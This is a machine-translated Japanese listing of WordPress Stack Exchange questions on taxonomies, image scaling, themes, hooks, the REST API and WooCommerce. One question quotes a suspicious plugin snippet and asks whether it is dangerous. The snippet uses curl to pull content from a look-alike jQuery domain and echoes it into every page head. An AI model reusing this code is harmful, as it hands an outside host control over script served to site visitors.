WordPress

WordPressの開発者および管理者向けのQ&A

3
wp_insert_postを使用して投稿する分類データを添付する
複数のドロップダウン選択フィールドに分類データを表示するフロントエンド投稿システムを実装しようとしています。ドロップダウンのそれぞれは、「名前」を用いて命名される$argでwp_dropdown_categories()。 wp_dropdown_categories( array( 'taxonomy' => 'location', 'hide_empty' => 0, 'orderby' => 'name', 'order' => 'ASC', 'name' => 'location', ) ); ご覧のとおり、分類法は「場所」であり、選択名も「場所」です。 その後、post_title、post_contentなどとともに、そのような分類選択ドロップダウンのそれぞれに変数を追加します。 $title = trim( $_POST['wpuf_post_title'] ); $content = trim( $_POST['wpuf_post_content'] ); $tags = wpuf_clean_tags( $_POST['wpuf_post_tags'] ); $customcategory = trim( $_POST['customcategory'] ); $cat = trim( $_POST['cat'] ); $location = trim( …

1
WordPressはApacheが知っているURLをどのように作成しますか?
WordPressでページを作成するとき、それはデータベーステーブルの単なるエントリです。その場所には実際のファイルはありません。ただし、自分でその場所にファイルを作成すると、WordPressからページが盗まれます。ファイルを削除すると、WordPressページにシームレスに戻ります。 私はこれがどのように達成されるかについて興味があります。おそらく、WordPressとApache(?)の間で何らかの通信が行われています。

3
4.1(WPチケット#18532)での画像のスケーリング(丸め)の変更に関する問題の処理
現在、サイトコンテンツを古い4.1より前のサイトから新しいセットアップに移行し、#18532の丸めエラーの問題とそれに対応する修正を行っています。 これを要約すると、WordPress側での長年にわたる丸めの誤動作が修正されました。 693x173で画像をアップロードし、幅300に拡大縮小したとします。 pre 4.1:300x74 4.1以降:300x75 問題 一般に、これは既存のファイルに影響を与えないため、問題を引き起こしません<img>。 ただし、サムを再生成するか、WXRファイルから添付ファイルをインポートすると、ファイルシステムで生成が異なり、すべて<img>がpost_content死んでしまいます。 解決策を探しています 私はさまざまな解決策を考えてきました: 悪い昔に戻る チェンジセット30660は新しいフィルターを導入しましたwp_constrain_dimensions 4.1より前の古い動作をプラグインするために使用できるがました。これにより、問題が修正されます。しかし、これが後で問題を引き起こす可能性があるのか​​疑問に思っており、一般的には修正したいので、これはうまくいきますが、理想的ではないと思います。 タイムズゼアアーアーチャンギン したがって、これには別の目標があります。DBをクリーンアップし、古いファイルへのすべての参照を新しいファイルへの参照に置き換えます。ここで実際に質問しているのは、これを行う方法です。この問題は多くの人々に影響を及ぼし、多くの人々に影響を与えると思われるため、効果的で一般的に適用可能なソリューションを探しています 私の現在のアイデアはこれです: インポート、再生成、または新しいファイルと壊れたタグを残すものは何でも。 ファイルシステム内のすべてのサイズ変更されたファイルからリストAを作成するか、データベースからこの情報を取得します このリストを解析し、4.1より前に見えるように、ファイル名がすべて1ピクセルオフセットされた2番目のリストBを作成します Bのすべての出現をAの関連エントリに置き換えて、データベース全体を検索および置換します。 これがこの状況を処理する最もスマートで効率的な方法であるかどうかはわかりません。また、少し強引すぎる感じもします。実装する前に、WPSEクラウドの無限の知恵で確認したかっただけです;) [編集]読んだCK-マクラウドの答えを(ありがとう!)私はあなたが常にあなたの頭の後ろでこの問題を維持する必要はありませんので、修正はきっぱりとこの問題を解決すべきだと思います。[/編集] [編集2] Tracで関連チケットを見つけました。参照用に追加しています。[/ edit2]
17 images  bug 

2
WordPressはテーマなしで機能しますか?
WordPressはテーマなしで機能しますか?もしそうなら、それはどのように機能しますか?簡単に説明してください。 WordPressがテーマなしでコンテンツを表示している場合、出力を制御するものは何ですか?
17 themes 

3
別のドメインでwp-adminをホストしますか?
現在、WordPressを実行しているクライアントがありますwww.example.com。 私は別のサーバーでホストされる別のテクノロジー/言語を使用して新しいバージョンに取り組んでいます。しかし、管理(WP)とデータベースは古いサーバーに残ります。 したがって、基本的にはwww.example.com、新しいホストをポイントし(ここでは問題ありません)admin.example.com、WPインストールで古いサーバーをポイントするようなサブドメインを作成する必要があります。 私は記憶しつつ、これがデータベースに混乱を行うことを恐れているoptionsとguidsの記事と添付ファイルのURLのために...彼らは、として保存されadmin.example.comずwww.example.com、私は右ですか? wp-adminを実行しadmin.example.com、URLをデータベースに保存する方法はwww.example.com?これはプレビューリンクでも機能しますか?

3
after_setup_themeのremove_actionが子テーマから機能しない
子テーマを使用してエレガントテーマテーマのテーマアクションを削除しようとしています。これは、親テーマのfunctions.php内のadd_actionコードの後に​​アクションを削除したときに機能します。ただし、子テーマのfunctions.phpから追加すると機能しません。 remove_action ('after_setup_theme', 'et_pb_setup_theme' , 10); 削除アクションは、追加アクションと同じ優先度10です。うまくいかない? add_action( 'after_setup_theme', 'et_pb_setup_theme' ); //parent theme add_action

7
REST APIの目的は?
まず第一に、これは現時点ではプラグインであることを理解していますが、とにかくWordPressのほとんどの部分であると確信しています。したがって、これがトピック外としてフラグ付けされないことを願っています。 私は彼らの公式ドキュメント、他の多くの記事を読み、チュートリアルビデオを見ましたが、まだいくつかのポイントを得ていません。これは確かにWordPressの未来です。別のサイトがありますが、それは自分のサイトに対してのみ何をしますか このことを考慮: 私は現在コメントに取り組んでいます。ユーザーがコメントセクションにスクロールしたときにのみコメントセクションをロードしたい(-200pxオフセットで、遅延がないように)。 ユーザーがそのポイントまでスクロールするとajax呼び出しがトリガーされます Ajax呼び出しは、etcなどのデータを送信しますpost_id 実行WP_Comment_Query()サーバーに 送信JSONデータは、コメント関係、名前、コンテンツをクライアントにバックアップなど JavaScriptを使用document.createElement()、innerHTML などのコメントを作成して出力するには 今.. 代わりにREST APIを使用するのはなぜですか?私の用途は何ですか?ただ将来の保証? 取得したすべてのデータを出力するためにJavaScriptを使用する必要があります。RESTAPIを使用する理由と目的(サイトとモバイルアプリ開発の間のデータ転送を除く)についての良い記事が見つかりませんでした。
17 rest-api 

5
get_option()vs get_theme_mod():なぜ遅いのですか?
私はget_theme_mod()、私のさまざまなプロジェクトでしばらくの間使用しています。WordPress v3.4のテーマカスタマイズAPIは、クライアントが使用するのに不可欠なツールであると判断し、利用可能になった時点で利用することにしました。 しばらくして、私は自分のサイトがいつもよりも少し遅くなっていることに気付き始め、特にカスタマイザーのロードにはかなり長い時間がかかりました。調査中に何度も試行錯誤を繰り返した結果、type設定を登録するときに($wp_customize->add_setting())からtheme_modに切り替えることにしましたoption。 これを実行し、のすべてのget_theme_mod()呼び出しを交換すると、フロントエンドの前者、特にバックエンドのカスタマイザーとは対照的に、後者のセットアップを使用すると速度が非常に大幅に向上するget_option()ことに気付きました。私はこれがなぜなのかという答えを見つけようと努力してWordPressコアを調べてきましたが、このシナリオで特定のハングアップが何であるかを見分けることはできないようです。 コミュニティが非常に高く評価されるget_option()よりもはるかに高速に実行することに関して持つ可能性のある洞察get_theme_mod()。

2
AJAXを介してwp_editorをロードする方法
WordPressのAJAX経由でwp_editorをロードする方法を知っている人はいますか? 私のマークアップとエディターは正しく読み込まれていますが、エディターコントロールが正しく読み込まれていません。JavascriptがAJAX呼び出しで実行されていない可能性があります。 任意の助けをいただければ幸いです。

1
add_filterとapply_filtersの違い
ここadd_filter()との違いについて適切な説明を探しましたapply_filters()が、見つかりませんでした。 誰が使用する前に、add_filterまたはapply_filters1つのコンテキストでどの情報またはロジックを考慮するかを教えてもらえますか? それは、一方ではなくもう一方を使用する必要がありますか? それは正しいことadd_filterだけが変数上で実行されるのを待っている機能のキューに機能を追加し、apply_filters順番に機能を実行? またapply_filters、引数(実行する関数の名前)を指定して呼び出すと、キュー内の他のすべて(存在する場合)の前にその関数を実行するのは正しいですか?

2
プラグインでこれを見つけました。それは何をするためのものか?それは危険ですか?
プラグインでこれを見つけました。それは何をするためのものか?それは危険ですか? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }

1
ウィジェットのバックエンドフォームにチェックボックスを含める方法
ウィジェットのバックエンドにチェックボックスを含めようとしています。しかし、ユーザーが値を送信した後、値を取得できません(オンまたはオフ)。値は「esc_attr($ check)」に保存されると思っていました(テキスト入力を使用する場合と同様)が、取得できません。 これは私が今試していることです: public function form( $instance ) { $check = isset( $instance[ 'check' ] ) ? $instance[ 'check' ] : 'off'; echo esc_attr( $check ); // If the input is type text it outputs the value ?> <input class="widefat" id="<?php echo $this->get_field_id( 'check' ); ?>" name="<?php echo $this->get_field_name( 'check' …
17 php  widgets 

3
woocommerceで価格とチェックアウト機能を隠す
この質問は広すぎるかもしれませんが、少し方向性を探しています。私のクライアントには、30〜40の製品を扱うwoocommerceストアがあります。何らかの理由で、彼らはもはやオンラインで販売したくないが、彼らは彼らのウェブサイトに製品ページ、情報などを保持したい。 フックなどを使用して、woocommerceで価格などを非表示にしたり、カートボタンに追加したりする方法はありますか?または、phpテンプレートファイルを編集するだけですか?

3
Wordpressとbbpressのプロファイルを統合しますか?
ワードプレスにbbforumプラグインをインストールしました。ただし、ブログユーザーとフォーラムユーザー用に2つの個別のプロファイルがあります。ブログのユーザーにはプロファイルのURLがあります: / author / test / フォーラムユーザーにはプロフィールがあります: / forums / users / test / 両方のプロファイルを統合して、単一のプロファイルのみを作成することは可能ですか?フォーラムのユーザーもブログのプロフィールと同じURLを持っているように?ありがとう

2
メタボックスフィールドに「メディアのアップロード」ボタンを追加
ファイルアップロード(ビデオファイル用)を使用する必要があるメタタグを持つカスタム投稿があります。WordPressメディアアップローダーを指し、アップロードボタンを関連付ける原因となったテキストフィールドに選択したアップロードファイルのURLを設定する「アップロード」ボタンを追加する正しい方法は何ですか。 実際のメタタグオプションの作成に関するコードを探しているのではなく、Wordpressメディアアップロードボタンを実際に適切に追加する方法を探しています。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.